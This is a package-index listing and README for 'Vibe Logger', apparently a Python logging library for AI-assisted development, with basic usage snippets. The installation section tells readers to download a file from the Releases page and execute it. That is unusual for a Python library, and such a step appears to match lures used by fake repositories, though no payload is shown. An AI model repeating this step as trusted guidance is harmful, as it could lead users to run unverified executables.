https://github.com/coleait/vibe-logger
VibeCoding Logger enhances AI-driven development with structured logs, rich context, and correlation tracking, ensuring LLMs get the data they need. 🐙📦
https://github.com/coleait/vibe-logger
debugging development-tools elasticsearch-logger json logger logging open-source performance structured-logging system-info vibe vibe-coding
Last synced: 3 months ago
JSON representation
VibeCoding Logger enhances AI-driven development with structured logs, rich context, and correlation tracking, ensuring LLMs get the data they need. 🐙📦
- Host: GitHub
- URL: https://github.com/coleait/vibe-logger
- Owner: coleait
- License: mit
- Created: 2025-07-11T00:27:11.000Z (3 months ago)
- Default Branch: main
- Last Pushed: 2025-07-11T07:01:51.000Z (3 months ago)
- Last Synced: 2025-07-11T08:45:02.023Z (3 months ago)
- Topics: debugging, development-tools, elasticsearch-logger, json, logger, logging, open-source, performance, structured-logging, system-info, vibe, vibe-coding
- Language: Python
- Size: 119 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Vibe Logger: A Logger System for the Generative AI Era 🚀

[](https://github.com/coleait/vibe-logger/releases)---
## Table of Contents
- [Overview](#overview)
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Support](#support)---
## Overview
Vibe Logger is a powerful logging system designed for the Generative AI era. It provides developers with a streamlined way to log and analyze data, making it easier to build and maintain AI-driven applications. The system is built to handle the unique challenges of working with generative models, ensuring that all relevant data is captured effectively.
---
## Features
- **Real-time Logging**: Capture logs as they happen, ensuring you never miss important events.
- **Structured Data**: Store logs in a structured format, making it easy to query and analyze.
- **Scalable Architecture**: Designed to grow with your application, handling increased load without performance degradation.
- **Customizable**: Easily configure logging levels and formats to suit your needs.
- **Integration Ready**: Works seamlessly with popular AI frameworks and tools.---
## Installation
To get started with Vibe Logger, download the latest release from our [Releases page](https://github.com/coleait/vibe-logger/releases). Once you have downloaded the file, execute it to install the logger system.
### Step-by-Step Installation
1. **Download the Latest Release**:
Visit our [Releases page](https://github.com/coleait/vibe-logger/releases) to find the latest version. Choose the appropriate file for your operating system.2. **Execute the File**:
Run the downloaded file. Follow the on-screen instructions to complete the installation.3. **Verify Installation**:
After installation, you can verify that Vibe Logger is working by running a simple command in your terminal. This will ensure that everything is set up correctly.---
## Usage
Once installed, you can start using Vibe Logger in your projects. Below are some basic usage examples to help you get started.
### Basic Logging
To log a simple message, use the following code snippet:
```python
from vibe_logger import Loggerlogger = Logger()
logger.log("This is a simple log message.")
```### Logging with Levels
Vibe Logger supports multiple logging levels. You can specify the level when logging a message:
```python
logger.log("This is an info message.", level="INFO")
logger.log("This is a warning message.", level="WARNING")
logger.log("This is an error message.", level="ERROR")
```### Structured Logging
For structured logging, you can pass a dictionary to the log method:
```python
data = {
"user_id": 123,
"action": "generate",
"model": "GPT-3"
}logger.log("User action recorded.", data=data)
```### Querying Logs
You can query your logs to analyze specific events. For example:
```python
logs = logger.query("action='generate'")
for log in logs:
print(log)
```---
## Contributing
We welcome contributions to Vibe Logger! If you'd like to help improve the project, please follow these steps:
1. **Fork the Repository**: Click the "Fork" button at the top right of the repository page.
2. **Clone Your Fork**: Use the command `git clone ` to clone your forked repository.
3. **Create a New Branch**: Use `git checkout -b feature/your-feature-name` to create a new branch for your feature.
4. **Make Your Changes**: Implement your feature or fix.
5. **Commit Your Changes**: Use `git commit -m "Add your message"` to commit your changes.
6. **Push to Your Fork**: Use `git push origin feature/your-feature-name` to push your changes.
7. **Create a Pull Request**: Go to the original repository and create a pull request from your branch.---
## License
Vibe Logger is licensed under the MIT License. See the [LICENSE](LICENSE) file for more information.
---
## Support
If you have any questions or need assistance, feel free to open an issue on GitHub or reach out via our community forums. We appreciate your feedback and are here to help!
---
For more details and updates, check our [Releases page](https://github.com/coleait/vibe-logger/releases).